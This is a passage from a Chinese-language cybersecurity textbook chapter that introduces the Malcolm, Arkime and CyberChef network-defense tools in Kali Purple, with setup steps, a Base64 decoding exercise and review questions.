    如果你曾经使用过完全无害的Kusto 查询语言KQL),你可能会理解这一点。KQL 可用于操控显示哪些数据以及如何显示,以便进行更深入的分析,而不实际改变数据本身的存储或值。这不完全等同于自定义规则创建,但有些相似之处。

  • 会话重建和流量分析:Malcolm 在管理会话重建和流量分析方面非常有效。你已经掌握了使用的组件和方法的基础,因此我们不再深入讨论。组件可以按如下方式分解:

    • 会话重建

    • 元数据提取

    • 协议特定解析

    • 流量分析与数据传输

    • 与分析工具的集成

    • 自定义会话分析插件

    如果你希望强化对这些主题的理解,完全可以花时间回顾本章前面的讨论,无论是与 Malcolm 还是与 Arkime。

  • 数据可视化和报告:使用 ELK 堆栈,Malcolm 提供了强大的数据可视化和报告功能,您可以使用它来促进全面的分析并描绘网络安全见解。Kibana 与 Malcolm 集成,正如您已经知道的那样,您可以使用图表、图形、时间轴、地图和无数其他方法来显示数据。Malcolm 为 Kibana 提供数据,帮助进行数据流可视化。这将帮助您作为分析师,获取数据传输行为、交易模式和网络会话活动的图形表示,从而更容易发现任何异常行为或异常行为。

    分析人员还可以根据他们处理的数据使用元数据属性和威胁指标 (IoCs) 等多种选项生成报告。生成报告可以节省分析人员大量的时间,用于组织和提供事后审查 (AARs) 的文档、与利益相关者的沟通以及合规记录和报告。

  • 定制和可扩展性:Malcolm 的另一个关键功能是其定制和可扩展性。这一功能与 Arkime 的提供完全相同,是我们迄今为止讨论的所有内容的结果。如果需要更深入的解释,请随时参考前一部分。总之,这些功能包括:

    • 能够创建捕获插件

    • 与第三方工具集成

    • 自定义仪表板和/或其他可视化选项

    • 基于规则的检测和自定义规则

    • 数据包分析和增强

  • 用户访问控制 (UAC) 和协作:UAC 和协作与 Arkime 采用相同的方法支持。需要注意的重要概念是基于角色的访问控制 (RBAC)。很容易把基于角色的某事物误认为基于规则的某事物。如前所述,基于规则的某事物是基于一组预定义规则的某事物。然而,基于角色的某事物是基于预定权限或权限组的某事物。

    在技术世界中,这些预定权限组称为角色。角色通常是事先根据未知用户设置的。角色设置完成后,可以将用户添加到涵盖这些角色的组中。这意味着管理员在用户入职或获得特定角色的权限时不需要为每个用户单独设置权限。管理员只需将该用户分配到预定义组中,那么所有权限和权利就会自动为该用户提供。当然,管理员可以在个别用户的权利方面进行精细的工作,以获得更细粒度的控制。Malcom 的 UAC 和协作功能包括协作工作区、数据共享、审计跟踪、活动日志以及用户管理和配置。

  • 与安全工具的集成:除了我们已经提到的 ELK 堆栈和 IDS/IPS 工具外,Malcolm 还与一款叫做量化统一扩展威胁响应TORQUE)的网络流量分析工具无缝集成。TORQUE 与其他网络流量分析工具的不同之处在于几个关键特征和独特的或有限供应的特性。

    实时分析已经变得越来越流行,并且不再是独特的,但值得一提的是,TORQUE 是最早提供实时分析结果的流量分析工具之一。正如你已经发现的那样,实时分析意味着分析人员可以在网络活动发生时立即进行检查和响应。

    TORQUE 提供量化分析功能。这使得组织可以对网络流量模式、数据趋势和通信行为进行深入的量化评估。量化分析是一种使用统计学和高等数学对数据进行系统性和结构化检查的方法,以从中提取洞察、识别模式,并得出可操作的结论。它可以涉及计算和深入评估统计指标,如平均值、标准差和频率,以及网络流量数据的分布模式。它还可以研究历史趋势和行为,并与当前趋势进行比较,以识别模式和行为变化。这有助于异常检测。

    风险评估和容量规划是 TORQUE 的重要功能。通过数学方法,管理员可以计算某些威胁的概率和潜在影响,应用公式于流量量、带宽和资源使用/需求。这反过来可以提供性能评估的副产品,帮助管理员和工程师识别需要解决和/或改进的重点领域。

  • 警报和通知:任何网络安全防御产品最受欢迎的功能之一就是能够接收通知和警报。我们可以使用基于规则和异常检测的警报来开发警报。然而,Malcolm 还支持一些额外类型的警报。

    有阈值警报功能,当网络流量数据中的某个特定指标或行为超过预设阈值时,系统会触发警报。网络工程师(或你自己)可能会发现这种类型的警报非常实用,尤其是在你希望监控和响应网络流量模式异常时,比如流量量的突然激增或终端的 CPU/RAM 使用情况。

    你将能够创建自定义警报,检查不同方式的警报通知传递方式,例如电子邮件、短信,或与其他工具或 SIEM/SOAR 解决方案的集成。这也可以用于针对特定利益相关者发送特定通知,而不是所有通知。这在高警报量的情况下非常有用,因为在 SOC 环境中,可能有很多具有不同专业技能的人在一起工作。因此,你可以根据收件人的角色和职责,以特定方式设置警报通知的传递。这也支持在需要时的升级工作流。

    Malcolm 警报功能可以与流行的通讯工具,如 Microsoft Teams、Slack 以及其他事件响应平台进行集成。与 Malcolm 的所有工具一样,警报和通知也可以发送到 Kibana 或其他可视化平台,帮助用户获取他们正在查看的数据的图形化表示。

现在我们已经在 Malcolm 中安装了 mama 和 papa 系统(尽管我们不能说我们曾遇见过一位叫 Malcolm 的 mama,但嘿,一切皆有可能!),是时候深入了解一下套件中包含的一些惊人工具了。我们将在下一部分开始介绍一款名为 Arkime 的数据包捕获和索引工具。

Arkime

Arkime 是一款属于数据包捕获和索引类别的工具。像我们从 Kali Purple 覆盖的所有工具一样,它是免费且开源的软件。Arkime 设计时考虑了与大规模部署的高效兼容性。然而,这也带来了资源上的消耗,例如存储和 RAM 容量。你希望部署规模越大,所需的资源也就越多。幸运的是,该组织在其官网提供了一个资源计算器,帮助你做准备。对于那些有宏大目标、可能正在阅读本书的人,我们会在 进一步阅读 部分提供该链接。

与 ELK 堆栈一样,Arkime 拥有足够多的功能和自定义选项,足以让一本书只讲述这一款产品。因此,我们仅会重点介绍该产品的功能。作为一名网络安全专业人士,仅凭阅读本书,你已经知道独立研究将始终是你生活的一部分,就像外科医生、律师以及所有其他白领职业一样。欢迎加入这一群体——那些深入研究并 intellectually elite 的人们。

Arkime 组织以其一种称为全包捕获(捕获每一个数据包)的数据包捕获方式而自豪,而不是过滤数据包捕获(只捕获符合预定标准的数据包)。市面上有许多数据包捕获产品品牌。Arkime 是免费的开源软件;这也是你可能已经意识到的 Kali Purple 发行版的主题。别自欺欺人,虽然它是免费的,但并不意味着它是便宜的。Arkime 是一个强大的工具!它非常稳健,且运行效果非常强大——甚至比任何商业产品更强大。

如果你之前有接触过这一网络或网络安全领域,你可能已经知道 Arkime 的前身是 Moloch。开发人员做了一件我们很多人可能希望更多现代技术公司能做的事情。他们提供了 Arkime 一词的发音!根据他们的网站,它应该读作 Arkime (/ɑːrkɪˈmi/) 或(R Kim Me)。他们提到更名是因为反馈表示 Moloch 这个词可能被用在不太合适的场合。Arkime 这个新名字的灵感来源于传说中的巫师梅林的猫头鹰阿基米德,以及古希腊著名数学家同名的人物。

在我们谈论 Arkime 的功能之前,你可能需要先获取一份该产品。然而,请注意,在本章中,你无需让我们讨论的任何软件在你阅读时正常运行。这里的内容大部分是高层次的概述,因为我们所讨论的每个 Kali Purple 组件都足够强大,值得它们各自的独立出版物。然而,如果你喜欢在项目中全身心投入,直到完全忘记时间,甚至你的妻子威胁说如果你不承认她的存在就会离开你,那么获得和运行它依然是有价值的。等等,这是不是软件工程师手册…

和你的配偶达成和解。然后我们就可以开始了。是时候放下辅助轮,给你一些独立的乐趣来安装 Arkime 了,当然前提是你决定这么做。在你走传统路线之前,或许做几次互联网搜索,看看 Arkime 自本书出版以来是否有更新,或者是否有其他的仓库可用。记得留心查看是否为真实仓库以及文件哈希的可用性,尤其是当你使用的不是我们在 Linux 中使用的 APT 终端方法时。

否则,如果你想要发挥你内在的 Linux 高手潜力,那么你知道该怎么做:

  1. 启动 Kali Purple 虚拟机并登录到你的 Purple 实例。

  2. 打开一个终端窗口。

  3. 输入sudo apt update && sudo apt upgrade

  4. 输入cd Malcolm/scripts

  5. 输入./ start,不要使用sudo

  6. 输入docker ps,以验证 Arkime 是否正在运行,如图 6.4所示:

图 6.4 – 使用 docker ps 命令确认 Arkime 正在运行

图 6.4 – 使用 docker ps 命令确认 Arkime 正在运行

  1. 现在,我们可以打开一个网页浏览器并访问 localhost

    记住,URL 后无需附加端口号,因为 https 中的 s 告诉浏览器使用端口 443

  2. 要访问 Arkime,只需点击 Malcolm 首页上的 Arkime 瓦片,如 图 6.5 中突出显示的那样:

图 6.5 – Malcolm 首页上的 Arkime 瓦片

图 6.5 – Malcolm 首页上的 Arkime 瓦片

加载 Arkime 后,最重要的部分就是主页左上角的猫头鹰。点击它查看所有提供的选项。此外,注意顶部横幅上的主导航。这两项将提供你使用产品所需的所有直观链接,如 图 6.6 所示:

图 6.6 – Arkime 的默认视图主页

图 6.6 – Arkime 的默认视图主页

注意

在你继续与 ELK 堆栈之外的 Kali Purple 工具进行交互时,保持一定的耐心至关重要。这些工具中的一些会非常频繁地更新,每次更新时,获取、安装和运行的方式都有可能发生变化——无论是有意为之还是无意的结果。这时,你的分析师思维就派上用场了。在本书内容开发过程中,多个项目在写作过程中被其创作者更新,而在此过程中,获取和/或安装或配置应用程序的方式发生了变化。正因为如此,我们选择了使用 Docker 来处理任何多应用程序设置或具有独立开发依赖项的应用程序。

这是 Arkime 的 关于 页面:

图 6.7 – Arkime 的猫头鹰导航和 FAQ 访问

图 6.7 – Arkime 的猫头鹰导航和 FAQ 访问

让我们来看看 Arkime 的关键功能:

  • 数据包捕获与存储:Arkime 通过使用网络接口卡(NIC)来捕获网络数据包,正如我们在第一部分中提到的那样。它通过所谓的 混杂模式 来实现。混杂模式下,数据包捕获应用程序会收集通过其所监控的网络部分的所有数据。这意味着它可能会收集并非专门为该设备而发送的数据,这些数据可能会经过该设备,继续传输到网络中其他设备。相反,非混杂模式 只捕获被发送到特定设备 MAC 地址的数据包,这个设备即为 Arkime 所监控的设备。

  • 实时流量分析:顾名思义,实时流量分析是指 Arkime 会从网络接口卡(NIC)捕获数据包,并立即将数据发送到 Elasticsearch 进行索引和存储。它在活动发生时一次性完成这一过程。Arkime 的设计使其能够监控实时网络会话,从而跟踪网络连接的行为,并观察用户行为的发生。通过采用这种方法,Arkime 及其集成的工具能够快速识别异常和潜在的威胁数据流,以便分析人员能迅速做出反应,阻止不法分子的行为。

  • 可扩展性和性能:可扩展性和性能是 Arkime 相比于类似的竞争性网络监控软件的最大优势。该应用程序被设计为支持分布式架构。这意味着它可以捕获数据包、查询并对其进行索引,然后将其拆分并发送到不同的互联节点,这些节点包括不同的物理计算设备,以便统一处理。正如你可能已经猜到的,这不仅使得工作负载能够高效地分配,而且还支持故障容错,并可以轻松地升级和改善设备。

    故障容错指的是当某个设备或节点出现故障时,系统可以引导其他节点接管工作,直到技术人员修复故障节点。有时,节点需要有意地下线。这可能是为了进行常规维护、升级或更换。这也意味着可以动态添加新的节点,而无需停止或干预正在进行的活动配置。技术人员只需添加新节点,然后调整 Arkime 的规则,以使其识别并利用新增的节点,除了已经存在的节点外。

  • 元数据生成和索引:当 Arkime 捕获数据包时,它会收集整个数据包。这包括有效负载,即发送设备指示发送的数据,以及头部信息,这是为了帮助网络和路由设备将有效负载以正确的方式发送到正确位置的附加信息,以及关于整个数据包的其他重要信息。在这些数据包中,有一些数据片段显得尤为突出,因为它们对数据成功传输至关重要。这些特别突出的数据片段被称为元数据。元数据的例子可能包括源和目标 IP 地址、时间戳、有效负载或总数据包的字节大小,以及其他各种可能性。

    用于传输协议的元数据形式之一包括:

    • 传输控制协议TCP):用于在发送设备和接收设备之间建立通信后传输数据

    • 用户数据报协议UDP):用于在无需先建立连接的情况下传输数据

    • 超文本传输协议HTTP):用于在 web 服务器与客户端(即用户的浏览器)之间传输数据

    • 超文本传输安全协议HTTPS):这与 HTTP 相同,不同之处在于它使用加密进行身份验证和数据传输

    • 文件传输协议FTP):用于将整个文件集从文件服务器传输到用户的设备

  • Arkime 足够慷慨,公开发布了其产品的截图,展示了产品的不同方面,给了我们更多时间和空间来讨论该产品。如果您想获取这些功能的视觉展示,可以在 进一步阅读 部分找到指向 Arkime 截图和解释的链接。

    捕获这些数据包并提取元数据后,Arkime 还将利用 Elasticsearch 强大的功能对数据进行索引、存储和检索。Arkime 允许管理员为元数据字段定义自定义索引和映射。这对企业级部署工具尤为重要,因为提取和存储的数据可以以对组织特定需求最有用的方式进行组织。Arkime 允许借助 Elasticsearch 支持的已索引数据轻松进行搜索和从 Arkime 界面中检索。

  • 搜索和查询功能:通过 Arkime 的用户界面,用户可以执行细粒度的搜索——即详细、特定的搜索——并且能够执行精确查询,定位捕获的网络流量数据中的细节。这是一种允许用户在数据包中定位特定字段或属性的搜索方式。

    Arkime 支持多种搜索方式:

    • 通过逻辑和数学运算符

    • 通过元数据字段

    • 支持全文搜索——包括整个单词、短语和模式

    • 通过正则表达式和复杂模式

    • 通过保存的搜索模板——用户可以为常用搜索创建这些模板

    Arkime 可以与可视化工具集成,将其通过任何这些搜索方法收集的信息以图形格式(如时间线、直方图和图表)呈现。Arkime 还允许用户与同事共享搜索结果,进行团队分析。用户可以导出搜索结果,以便与外部系统或记录一起使用。

  • 数据包重组和会话重建:Arkime 具有令人惊叹的能力,可以重组数据包并重建会话,这赋予了它强大的能力,能够直接在数据传输的包和会话层面上拼接和分析网络流量数据。这一能力在初始的数据包捕获过程中被使用。软件会识别碎片化或分段的数据包,并智能地对其进行检查,将它们拼接回原始的单一数据包,从而对捕获的数据进行完整和准确的分析。这使分析师能够查看任何场景的完整图景,这也有助于进行根本原因分析。

    进一步提升,Arkime 还可以通过分析数据包并逻辑地将相关数据包归为一组来重建会话,如果它们是相关的并且属于同一数据流。这种做法使分析师能够查看会话的完整交换,从而提供更宏观的场景背景。分析师可以通过查看两个端点之间的数据交换的全貌,采取更加整体的数据分析方法。

  • 威胁检测与分析:到目前为止我们讨论的所有内容都是 Arkime 的威胁检测与分析的一部分,此外还有更多!以下也是这一关键功能的一部分:

    • 元数据增强

    • 基于规则的检测

    • 协议分析和异常检测

    • 与威胁情报源的集成

    元数据增强与典型的数据增强相同,收集到的数据会与预先存在的相关数据表进行比较,以帮助将信息解析为更清晰的类别。基于规则的检测就是字面意思。管理员可以创建自定义规则来寻找精确的威胁、行为模式和 IoC(入侵迹象)。

    协议分析和异常检测是检查和解读网络流量中使用的通信协议的过程,目的是评估不常见、异常或异常的行为。它涉及对通信数据包的头部、结构和有效载荷进行解剖。然后,将这些信息与使用的协议(如 TCP、UDP、HTTP、HTTPS、DNS 等)进行比较和对比。管理员将寻找通信模式的变化,例如流量量和握手失败。握手是发送和接收设备之间进行身份验证的过程,也是建立两个设备之间连接的过程。

    与威胁情报源的集成是 Arkime 通过订阅或其他方式获取第三方已经汇总的信息的过程,第三方如AlienVault OTX(现名为LevelBlue Labs)、FBI InfraGuardSpamhausProofpoint等,并将这些信息导入其自身环境,帮助分析数据。这是一种数据丰富化的形式。第三方信息的例子包括受信任的黑名单、已知的威胁指示符,如目录化的恶意 IP 地址,及其他威胁情报信息。订阅这些情报源可以大大减轻任何组织的工作量,因为你可以获取其他人已经完成并共享的工作成果。

  • 可扩展性和集成:与威胁情报源集成类似,Arkime 允许通过捕获插件、协议解析器和解码器对自身进行扩展,从而支持更广泛的集成。捕获插件是定制的代码模块,允许 Arkime 从专门或非典型的源中获取网络数据包信息。例如,从工业控制系统ICS)获取信息,工业控制系统广泛应用于制造业和关键基础设施,如城市水务和排污厂或核电厂。这些插件扩展了 Arkime 的基本实用功能,创造了产品本身的可扩展性。通过捕获插件提供资源和支持,用以解码和解析从非标准源获取的数据,可以进一步增强可扩展性。

    Arkime 还支持查看插件,这些插件通过用户界面增强功能,扩展了产品显示数据的能力。它允许组织创建仅展示与其任务最相关的数据的显示界面。这反过来有助于提高分析效率和生成更详细的报告。

    协议解析器与捕获插件和查看插件的功能类似,它们通过提供定制化的功能来扩展产品的能力。在这种情况下,它是用于解码、解析和分析专用的、罕见的协议,并将协议数据与先前索引的元数据相结合,进行丰富化处理的代码。

  • 用户访问控制和权限:通过其身份验证和授权机制,Arkime 可以提供高质量的用户访问控制和权限管理。虽然 Arkime 支持基本的用户名/密码身份验证方法,但它还提供与身份提供者的单点登录SSO)集成,以及通过轻量级目录访问协议LDAP)或活动目录AD)的身份验证。通过提供这些集成,拥有现有身份管理基础设施的组织可以认证其尝试访问 Arkime 平台的用户。

    还包括了 RBAC。你在设置 第五章 中的 Filebeat 时体验过这一小部分功能。它允许管理员定义具有预设权限集的角色,然后将用户分配到该角色中。这种用户权限管理方式可以提供更精细、颗粒化的控制,定义哪些用户可以访问平台内的特定功能、数据和其他管理权限。

    Arkime 还维护了非常详细的用户活动审计记录。这不仅有助于提供对用户操作和变更的适当可视化,还为在管理层面保留努力提供了一条途径,从而创建审计记录以满足任何合规性要求。

  • 丰富的数据可视化:Arkime 通过结合可定制的仪表盘、图形化表示和交互式可视化来实现丰富的数据可视化。像大多数基于仪表盘的平台一样,用户可以通过小部件自定义他们的仪表盘。在这种情况下,小部件可以通过诸如流量量、协议分布、威胁警报、数据包捕获统计信息和主要通信者等主题来强调实时或历史数据。用户可以汇总并显示关键指标、趋势和分析结果。它可以利用图表、图形、时间轴、热力图、网络流量模式、异常情况、通信关系和性能指标等图形表示形式。交互式可视化可以发生在用户动态探索和与数据互动时,例如通过缩放、应用筛选器、在时间范围内平移以及深入挖掘更具体的数据元素,从而获得更详细的洞察或更大的情境理解。

虽然 Arkime 主要用于整体流量分析,但当流量以某种方式被编码或混淆时,还有另一种工具可以进一步优化这种分析。该工具也可以通过 Malcolm 图形用户界面访问,它被称为 CyberChef。

CyberChef 与混淆

你已经看到了一些关于美国政府对网络安全领域贡献的介绍。现在,让我们来看看英国的贡献。CyberChef 是每一个从事网络安全工作的人应该拥有的最重要工具之一。它由英国的政府通信总部GCHQ)创建。该组织被认为是三大情报和安全机构之一,负责为英国政府和武装部队提供信号情报SIGINT)和信息保障。(另外两个是 MI5 和著名的 MI6,来自詹姆斯·邦德和《碟中谍》流行文化——没错,这些组织是真实存在的。)

GCHQ 开发了 CyberChef,旨在作为一个开源 Web 应用程序,处理各种数据处理、转换和分析任务。它一直旨在满足网络安全专业人士、数字取证专家和数据分析师的需求。它配有一个用户友好的界面,并且由于它是作为开源发布的,组织可以拿它来进行调整并集成到他们的工具中。这是因为将工具在线使用仍然会使其用户与产品之间的数据通信易受到拦截,这本身就是一个安全风险。当作为桌面工具使用或集成到组织的 SIEM 解决方案中时,处理的数据可以被限定在使用它的地方。一个这样的解决方案是 Devo SIEM/SOAR 解决方案,它被认为是下一代云 SIEM。Devo 在其工具箱中嵌入了一个 CyberChef 版本,授权的分析师和组织内的用户可以使用,以便客户的数据不必穿越其初始收集数据的网络防御。Devo 不是 Kali Purple 的一部分,但我们仍然在进一步阅读部分提供了一个链接,以满足你的好奇心。

你可能正在想,“好吧,那 CyberChef 到底有什么大不了的?”让我们来探讨一下。使用本章中我们讨论的工具时,分析师常常会遇到加密或混淆过的数据。甚至有时候,你可能希望对那些没有加密或编码的数据进行某种形式的加密或编码。所有这些都可以通过 CyberChef 来实现。CyberChef 是一个非常强大的 Web 应用程序,可以与其他网络安全工具集成。正如我们刚刚讨论的,它也可以作为桌面工具下载,或集成到现有工具中。它专门处理原始数据分析,包括加密/解密、编码/解码以及一种称为混淆的编码子形式。它旨在以灵活而用户友好的方式处理各种数据转换任务。CyberChef 被它的创造者 GCHQ 称为网络瑞士军刀

获取 CyberChef 你有很多选择。如果你是那种喜欢走捷径的类型,你可以跳到本章的最后,在进一步阅读部分找到一个快速链接。那是获得这个应用程序的最快方式……除非你已经安装了 Malcolm,并且你的 Kali Purple 虚拟机已经运行。<<在这里插入邪恶笑声>> 但是,由于我们正在使用 Kali Purple,我们将解释如何在 Purple 环境中获取 CyberChef。

这也非常简单。首先,确保你安装了 Kali Purple 的虚拟机已经启动并正在运行。然后登录到你的 Purple 实例,打开一个终端窗口,并按照我们从 第三章开始灌输给你的密集牺牲式操作进行。我们可以总结如下:

  1. 启动你的 Kali Purple 虚拟机并登录到你的 Purple 实例。

  2. 打开一个终端窗口。

  3. 输入 sudo apt update && sudo apt upgrade

  4. 输入 cd Malcolm/scripts

  5. 输入 ./ start,不要使用 sudo

  6. 输入 docker ps 来验证 Malcolm 是否启动并正在运行,如 图 6.8 所示:

图 6.8 – Malcolm 预包装的 Docker 套件已启动并正在运行

图 6.8 – Malcolm 预包装的 Docker 套件已启动并正在运行

  1. 现在,我们可以打开一个浏览器并访问 localhost

    再次提醒,无需在 URL 末尾附加端口号,因为 https 中的 s 会告诉浏览器使用端口 443

  2. 要访问 Arkime,只需在 Malcolm 的主页上选择并点击 Arkime 磁贴,如 图 6.9 所示:

图 6.9 – Malcolm 预包装的 Docker 套件已启动并正在运行

图 6.9 – Malcolm 预包装的 Docker 套件已启动并正在运行

继续选择并点击那个磁贴。它会为你加载 CyberChef 工具。在左上角,你会注意到可以将此工具下载到你的本地设备。让我们来测试一下!将以下代码复制并粘贴到右上角的 Input 窗口,如 图 6.10 所示:

S2FybCBMYW5lIGlzIG15IG1vc3QgZmF2b3JpdGVzdCBhdXRob3I gaW4gdGhlIHdob2xlIHdpZGUgd29ybGQuICBI ZSBoYXMgdGhlIGdvb2Rlc3QgZ3JhbW1pciBhbmQgYmVzdGVzdCBzdHlsZS4=

经验将教会你如何识别不同编码方式的样子。作为网络防御者,你最常遇到的两种编码方式是 Base64URL 编码。我们提供的这段代码示例是 Base64 编码。选择左栏中顶部标记为 Favorites 的磁贴。当你这样做时,区域会展开,在其中你会看到一个叫做 From Base64 的选项。点击并按住它,拖动到中间标为 Recipe 的窗口,松开鼠标让它掉在那里,如 图 6.10 所示。

你会注意到,还有一个叫做 To Base64 的选项。没错 – CyberChef 除了能解码,还能用于编码。继续点击左栏中的所有区域,查看展开的列表。你将看到解码各种信息的选项,包括 摩尔斯电码!这有多酷?

然而,你不会看到的是 错误语法解码器。考虑到这一点,点击中间列底部的 Bake 按钮。如果你已经勾选了 Auto Bake 框,查看右下方名为 Output 窗口中的结果。奇怪,Base64 解码 后的消息是什么?

图 6.10 – CyberChef 演示

图 6.10 – CyberChef 演示

CyberChef 的关键特性如下:

  • 数据转换:CyberChef 用户可以从内置的操作列表中选择并组合数据操作选项,创建其所称的自定义数据转换配方。该列表包含了处理编码/解码、压缩、加密/解密、哈希、正则表达式等的选项。用户可以从 CyberChef 界面左侧栏选择选项,然后将其拖放到中间窗口。CyberChef 会从上到下处理这些指令。因此,它会首先执行你拖入窗口的第一个选项的计算,接着使用你拖入的下一个指令,将其应用于第一个计算的结果,依此类推。这支持批处理操作。用户可以保存任何重复使用的任务,以便将来方便重用。

  • 加密与解密:通过 CyberChef 的加密功能,你可以使用对称和非对称加密算法,这对于那些可能负责数据安全工作的你来说非常有用。你可以从左侧栏访问许多内置的加密操作,包括但不限于 AES、DES、RSA、Triple DES、Blowfish 和 XOR。你还可以利用 CyberChef 对十六进制、URL 和 Base64 编码进行编码/解码等操作。考虑到这些选项,你可能猜到该工具可以用于密钥管理和哈希操作(如 MD5、SHA-256 等)。如果你从事加密学相关工作,那么你会高兴地知道,CyberChef 还可以帮助你创建自定义的加密参数,如密钥大小、块大小、填充模式和链式模式。

  • 文件处理:使用 CyberChef,你可以读取整个文件输入,并将结果输出到整个文件。要获取文件作为输入,请前往输入窗口的右上角,选择带有箭头指向文件夹的图标以获取文件输入,如图 6.11所示。支持的文件类型包括 JSON、XML、二进制和文本:图 6.11 – CyberChef – 获取文件作为输入

图 6.11 – CyberChef – 获取文件作为输入

你还可以使用位运算对二进制文件进行字节级操作。此外,CyberChef 提供了十六进制转储可视化功能,帮助分析这些二进制数据和文件内容。高级用户可以学习如何使用专门针对 JSON、XML、CSV 等特定文件格式定制的操作解析并提取结构化数据。他们还可以执行基于行的处理、元数据提取和批处理操作,以及开发自定义工作流来支持特定的文件操作需求。

  • 正则表达式:CyberChef 工具提供了简单且专门的操作,用于将正则表达式应用于输入数据。左侧列,有时被称为 CyberChef 的操作列,提供了你的正则表达式操作。用户可以使用它来定义、配置并将正则表达式应用于数据输入。如果你愿意,还可以指定一个正则表达式模式,用于在输入数据中进行搜索和比较。正则表达式操作可以用于匹配模式,并通过这种方式,还可以用来转换和/或替换数据,提取与正则表达式匹配的数据,或者与其他操作(如编码/解码或分析师定义的其他任务)混合使用,以实现快速的模式识别和数据提取。CyberChef 直观的界面帮助为工作增加了可视化元素,使得那些略显晦涩的正则表达式模式更易于解读。

  • 网络和编码:在与信息的网络编码相关的操作方面,CyberChef 的操作列提供了处理 IP 地址的选项,包括在十进制和二进制表示之间转换、从文本中提取 IP 地址,以及执行 IP 地址操作,如子网划分和 IP 地址验证。你还会看到一些用于剖析和分析网络数据包、解码数据包头和协议特定分析、URL/URI 处理以及 Base64 编码和解码的选项,这些常见于网络信息中。如果你按照我们之前的建议,去探索左侧列,你会看到十六进制操作、编码转换,如 URL 编码和 HTML 实体编码,以及 Unicode 表示。这里有一些有趣的操作供你参考。如果你选择操作中的数据格式子标题,你会看到你可以进行盲文转换;如果你继续往下,选择加密/编码,你就会找到我们之前提到的摩尔斯电码转换。

  • 自定义操作:我们在本章讨论的每一个工具都有一个非常棒的特点,那就是它们都提供了大量的自定义机会。CyberChef 也不例外。你可以通过在界面中使用 JavaScript 代码开发自定义操作。这是该产品可扩展性的美妙之处。如果你有编码或软件工程背景,你可能已经熟悉 JavaScript;如果没有,我们在进一步阅读部分提供了一个链接供你参考。作为一名网络安全专业人员,建议你首先提升 Python 技能,但任何额外的编程语言技能始终是有用的。

  • 数据分析:到目前为止提供的解释无疑向您展示了数据分析是 CyberChef 的一个关键功能。如果您不确定 CyberChef 在以下数据分析功能中的贡献,请回顾之前的任何主题:

    • 数据转换

    • 加密与解密

    • 正则表达式

    • 文件处理

    • 网络操作

    • 自定义选项

    • 虚拟化

    • 与其他工具的集成

每当您处理流量分析时——这正是网络安全防御方面的核心内容——您将遇到通过编码和加密数据等伎俩来规避防御的尝试。这使得 CyberChef 成为您整个防御工具集中最为关键的工具之一。我们承诺,您可以在 Kali Purple 之外、在 Malcolm 之外快速轻松地访问 CyberChef。准备好了吗?请听鼓声……只需将以下网址粘贴到任何浏览器中,并直接从源站使用:gchq.github.io/CyberChef/。缺点是,数据隐私和数据隐私法等问题使得远程使用 CyberChef 成为一种有风险的选择,因为任何被解码的数据可能是高度受保护的。最安全的做法是下载本地副本或将其集成到您的工具集中,正如我们在 Malcolm 中所做的那样。

总结

在这一章节中,我们提供了对将流经我们网络的流量的高层次概述,因此也涵盖了我们的网络防御解决方案。我们考察了 Kali Purple 提供的几款工具,这些工具可以部署并与其他工具集成,以分析这些数据,并在必要时对其进行处理。这些解决方案都广为人知,其中一些,如 Arkime,是由私营部门组织创建的,而其他一些则是由政府组织创建和/或汇编的。更有趣的是,一些政府组织会将私营部门的工具包含在他们的汇编中,例如 Malcolm 和 Arkime。

我们了解到,Arkime 是一个强大的网络数据分析工具,专为大规模组织及预计会快速增长的组织设计。Arkime 的最大优势是其可扩展性。我们还探讨了一套由美国政府机构(来自爱达荷州和联邦的国土安全部)合作开发的工具。

最后,我们介绍了世界著名的 CyberChef,它是每个网络安全专业人士必备的工具。我们了解到,它是由英国情报机构 GCHQ 创建和发布的。我们探讨了 CyberChef 在数据处理和各种加密学元素方面的强大功能。我们还了解到,它可以在线使用,作为桌面产品下载,或集成到我们的独立软件解决方案中。

在深入研究所有这些工具之前,我们简要探索了数据包,以便理解这些工具如何与工作在数据包级别的工具集成。在这个过程中,我们了解了 IPS 和 DPS,这两者将在第七章中进行更深入的探讨。

问题

请回答以下问题,测试你对本章内容的掌握:

  1. Arkime 是一个网络流量捕获和分析工具,曾被称为什么?

    1. Malcolm

    2. 莫丨洛托夫鸡尾酒

    3. Moloch

  2. 当 NIC 以混杂模式操作时,这意味着什么?

    1. NIC 捕获通过它的所有流量,无论最终目的地是什么

    2. NIC(网络接口卡)对其通过的数据非常友好

    3. NIC 仅捕获设备本身是最终目的地的数据

  3. 什么是实时流量分析?

    1. 坐在立交桥上,研究经过的不同品牌和型号的汽车

    2. 分析按格里历时间格式标记为 Zulu 时间的网络流量

    3. 分析网络流量的能力,实时发生时进行分析

    4. 检查过去 20 分钟内发生的任何流量

  4. CyberChef 的创始人还将其称为什么?

    1. 网络安全瑞士军刀

    2. 英国顶级厨师

    3. 爱尔兰军队通用工具

    4. 皇家海军工兵铲

  5. 在管理员捕获基线并比较未来流量与基线的偏差后,发生了什么类型的威胁检测?

    1. 正则表达式检测

    2. 异常检测

    3. 模式匹配

    4. 异常检测

进一步阅读

若要深入了解本章涉及的主题,请查看以下资源:

第七章:入侵检测与防御系统

Kali Purple 最美妙的一个方面是,组成该软件套件的各种工具被设计来应对几乎所有你可能遇到的网络防御设置。企业——有时甚至是个人——都会有独特的情况来决定他们的需求。这些独特的情况将涉及资金、网络规模、流量大小、技术人员和分析师的可用性,以及个人或组织的计划等因素。

有鉴于此,请注意,这些工具在功能上有很多重叠。因为 Kali Purple 并不是为你安装并整合每个工具之间的所有功能而设计的。相反,提供这些工具是为了给你——也就是 SOC 主工程师——提供尽可能多的选择,以满足你的组织需求。你不太可能需要在 Malcolm 之外部署 Arkime,特别是因为 Malcolm 本身就包含了 Arkime 的副本。同样,你也不太可能需要同时部署 Suricata 和 Zeek。

在阅读本章时,请注意最初让你对 Kali Purple 感兴趣的原因。是个人需求或好奇心吗?是为了发现你的组织可能需要的潜在需求吗?还是出于纯粹的好奇,你可能会想象,如果你的组织或你感兴趣的任何组织决定建立自己的 SOC,你会如何设置?在考虑这些问题时,思考一下哪些工具的组合可能提供最适合你的安全防御水平。

在上一章中,我们讨论了两个功能相似的工具,但它们在不同的商业场景中具有不同的优缺点。在本章中,我们也会做同样的事情。我们将讨论功能强大的 Suricata IDS/IPS 工具,之后再讨论更加朴实且低调的 Zeek IDS 工具。为什么要使用提供较少功能的工具?你是否听过“少即是多”这个说法?是否在这里适用,完全取决于网络防御管理员的需求。那就是你!或许其他相关工具提供的更多功能并不适合你的情况,而且可能会不必要地消耗更多计算资源,而你可能更倾向于更好地分配这些资源,或者如果不需要时将它们保持在备用状态。

